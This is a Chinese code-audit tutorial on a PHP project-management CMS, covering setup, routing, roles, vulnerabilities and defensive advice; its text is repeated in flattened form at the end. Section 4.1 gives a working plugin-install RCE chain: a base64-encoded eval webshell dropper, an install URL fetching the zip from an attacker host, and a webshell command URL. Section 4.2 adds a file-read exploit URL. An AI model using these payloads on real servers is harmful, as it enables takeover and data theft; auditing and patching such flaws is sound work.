某PHPCMS代码审计
字数 1614 2025-08-23 18:31:25

PHPCMS代码审计与漏洞利用教学文档

1. 项目概述

1.1 系统特性

  • 兼容PHP5.6-PHP7
  • 支持MySQL和PostgreSQL数据库
  • 使用Pimple依赖注入容器管理服务和对象实例
  • 主要功能特性:
    • 简洁美观的界面
    • 多主题支持
    • 可视化任务管理
    • 多种任务视图(列表、看板、甘特图)
    • 可拖拽式任务操作
    • 多语言支持(英文和简体中文)
    • 过滤搜索功能
    • 支持团队项目和个人项目
    • 任务、子任务、附件和评论功能
    • 动作自动触发
    • 可视化统计
    • 第三方集成
    • 插件支持

2. 环境部署

2.1 配置文件设置

复制示例配置文件并修改:

cp .env.example .env

.env文件配置示例:

APP_ENV=production
APP_DEBUG=true
APP_KEY=SomeRandomString
APP_TIMEZONE=Asia/Shanghai
APP_LOCALE=zh-CN
APP_THEME=black
APP_LOG=daily
APP_LOG_LEVEL=error
APP_URL=http://localhost
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=xxx
DB_USERNAME=root
DB_PASSWORD=123456

2.2 修改composer.json

修改composer.json第49行开始的autoload部分:

"autoload": {
    "classmap": ["app/"],
    "psr-4": {
        "cmsname\\": "app/",
        "PicoDb\\": "vendor/cmsname/picodb/src/",
        "SimpleLogger\\": "vendor/cmsname/simple-logger/src",
        "JsonRPC\\": "vendor/cmsname/json-rpc/src",
        "SimpleValidator\\": "vendor/cmsname/simple-validator/src"
    },
    "files": ["app/helpers.php"]
}

2.3 安装依赖

composer install

注意:Windows环境下可能出现错误,建议在Linux环境下载依赖后再复制/vendor目录。

2.4 数据库迁移和初始数据

创建数据表:

vendor/bin/phinx migrate

安装初始数据:

vendor/bin/phinx seed:run

2.5 目录权限设置

确保以下目录可写:

chmod -R 0777 bootstrap/cache
chmod -R 0777 storage

2.6 Web服务器配置

将Web服务器的根目录指向public/目录。

3. 系统架构分析

3.1 路由机制

  1. 启动时bootstrap/app.php调用Container.phpregister()方法加载各种服务
  2. RouteServiceProvider实现ServiceProviderInterface接口,负责注册路由相关服务
  3. 执行流程:
    • index.php调用execute()
    • Application.php执行$this->container['router']->dispatch()
    • 解析controller、action和plugin
    • 执行中间件和控制器动作

3.2 鉴权机制

权限等级定义在Foundation/Security/Role.php

class Role {
    const APP_ADMIN = 'app-admin';
    const APP_MANAGER = 'app-manager';
    const APP_USER = 'app-user';
    const APP_PUBLIC = 'app-public';
    const PROJECT_MANAGER = 'project-manager';
    const PROJECT_MEMBER = 'project-member';
    const PROJECT_VIEWER = 'project-viewer';
    
    // 获取应用角色
    public function getApplicationRoles() {
        return [
            self::APP_ADMIN => t('Administrator'),
            self::APP_MANAGER => t('Manager'),
            self::APP_USER => t('User'),
        ];
    }
    
    // 获取项目角色
    public function getProjectRoles() {
        return [
            self::PROJECT_MANAGER => t('Project Manager'),
            self::PROJECT_MEMBER => t('Project Member'),
            self::PROJECT_VIEWER => t('Project Viewer'),
        ];
    }
}

鉴权流程:

  1. AuthServiceProvider注册鉴权服务
  2. getProjectAccessMap()根据权限等级分配控制器权限
  3. 登录功能由app/Http/Controllers/Auth/AuthController.php实现
  4. 会话管理:
    • app/Foundation/Session/SessionManager.php生成JM_SID
    • app/Foundation/Http/RememberMeCookie.php生成JM_RM

4. 漏洞分析与利用

4.1 后台插件RCE漏洞

漏洞原理

  1. PluginServiceProvider扫描插件目录时会执行loadSchema()
  2. hasSchema()检查插件目录下是否存在Schema/mysql.php文件
  3. 如果存在,则通过require_once加载该文件

漏洞利用步骤

  1. 创建恶意插件压缩包test.zip,结构如下:
test/
└── Schema/
    └── mysql.php
  1. mysql.php内容示例(写入Webshell):
<?php
file_put_contents("webshell.php", base64_decode("PD9waHAgQGV2YWwoJF9HRVRbMV0pOw=="));

// 清理插件目录
if(file_exists("../plugins/ABC")){
    deldir("../plugins/ABC");
}

function deldir($dir) {
    // 删除目录下的文件
    $dh = opendir($dir);
    while ($file = readdir($dh)) {
        if($file != "." && $file != "..") {
            $fullpath = $dir."/".$file;
            if(!is_dir($fullpath)) {
                unlink($fullpath);
            } else {
                deldir($fullpath);
            }
        }
    }
    closedir($dh);
    
    // 删除当前文件夹
    if(rmdir($dir)) {
        return true;
    } else {
        return false;
    }
}
?>
  1. 将压缩包放置在可访问的Web服务器上

  2. 管理员登录后访问以下URL触发漏洞:

http://127.0.0.1/?controller=Admin/PluginController&action=install&archive_url=http://yourIP:port/test.zip
  1. 访问生成的Webshell执行命令:
http://127.0.0.1/webshell.php?1=system("whoami");

4.2 潜在任意文件读取漏洞

漏洞分析

  1. 文件读取功能位于Profile/AvatarControllerimage方法
  2. 文件路径构造方式:
$filename = $this->path.DIRECTORY_SEPARATOR.$key;
if (!file_exists($filename)) {
    throw new ObjectStorageException('File not found: '.$filename);
}
return file_get_contents($filename);
  1. 利用条件:
    • 需要找到SQL注入漏洞修改用户头像路径
    • 默认情况下只能读取管理员头像

利用URL示例

http://127.0.0.1/?controller=Profile/AvatarController&action=image&user_id=1&size=123

5. 防御建议

  1. 插件安装安全

    • 限制插件来源,只允许从可信源安装
    • 对插件进行完整性校验
    • 隔离插件执行环境
  2. 文件操作安全

    • 严格校验文件路径
    • 使用白名单限制可访问目录
    • 避免直接使用用户输入构造文件路径
  3. 权限控制

    • 加强后台操作权限验证
    • 实现操作日志记录
  4. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用预编译语句防止SQL注入
  5. 安全配置

    • 生产环境关闭调试模式
    • 定期更新系统和依赖组件
PHPCMS代码审计与漏洞利用教学文档 1. 项目概述 1.1 系统特性 兼容PHP5.6-PHP7 支持MySQL和PostgreSQL数据库 使用Pimple依赖注入容器管理服务和对象实例 主要功能特性: 简洁美观的界面 多主题支持 可视化任务管理 多种任务视图(列表、看板、甘特图) 可拖拽式任务操作 多语言支持(英文和简体中文) 过滤搜索功能 支持团队项目和个人项目 任务、子任务、附件和评论功能 动作自动触发 可视化统计 第三方集成 插件支持 2. 环境部署 2.1 配置文件设置 复制示例配置文件并修改: .env 文件配置示例: 2.2 修改composer.json 修改 composer.json 第49行开始的 autoload 部分: 2.3 安装依赖 注意 :Windows环境下可能出现错误,建议在Linux环境下载依赖后再复制 /vendor 目录。 2.4 数据库迁移和初始数据 创建数据表: 安装初始数据: 2.5 目录权限设置 确保以下目录可写: 2.6 Web服务器配置 将Web服务器的根目录指向 public/ 目录。 3. 系统架构分析 3.1 路由机制 启动时 bootstrap/app.php 调用 Container.php 的 register() 方法加载各种服务 RouteServiceProvider 实现 ServiceProviderInterface 接口,负责注册路由相关服务 执行流程: index.php 调用 execute() Application.php 执行 $this->container['router']->dispatch() 解析controller、action和plugin 执行中间件和控制器动作 3.2 鉴权机制 权限等级定义在 Foundation/Security/Role.php : 鉴权流程: AuthServiceProvider 注册鉴权服务 getProjectAccessMap() 根据权限等级分配控制器权限 登录功能由 app/Http/Controllers/Auth/AuthController.php 实现 会话管理: app/Foundation/Session/SessionManager.php 生成 JM_SID app/Foundation/Http/RememberMeCookie.php 生成 JM_RM 4. 漏洞分析与利用 4.1 后台插件RCE漏洞 漏洞原理 PluginServiceProvider 扫描插件目录时会执行 loadSchema() hasSchema() 检查插件目录下是否存在 Schema/mysql.php 文件 如果存在,则通过 require_once 加载该文件 漏洞利用步骤 创建恶意插件压缩包 test.zip ,结构如下: mysql.php 内容示例(写入Webshell): 将压缩包放置在可访问的Web服务器上 管理员登录后访问以下URL触发漏洞: 访问生成的Webshell执行命令: 4.2 潜在任意文件读取漏洞 漏洞分析 文件读取功能位于 Profile/AvatarController 的 image 方法 文件路径构造方式: 利用条件: 需要找到SQL注入漏洞修改用户头像路径 默认情况下只能读取管理员头像 利用URL示例 5. 防御建议 插件安装安全 : 限制插件来源,只允许从可信源安装 对插件进行完整性校验 隔离插件执行环境 文件操作安全 : 严格校验文件路径 使用白名单限制可访问目录 避免直接使用用户输入构造文件路径 权限控制 : 加强后台操作权限验证 实现操作日志记录 输入验证 : 对所有用户输入进行严格过滤 使用预编译语句防止SQL注入 安全配置 : 生产环境关闭调试模式 定期更新系统和依赖组件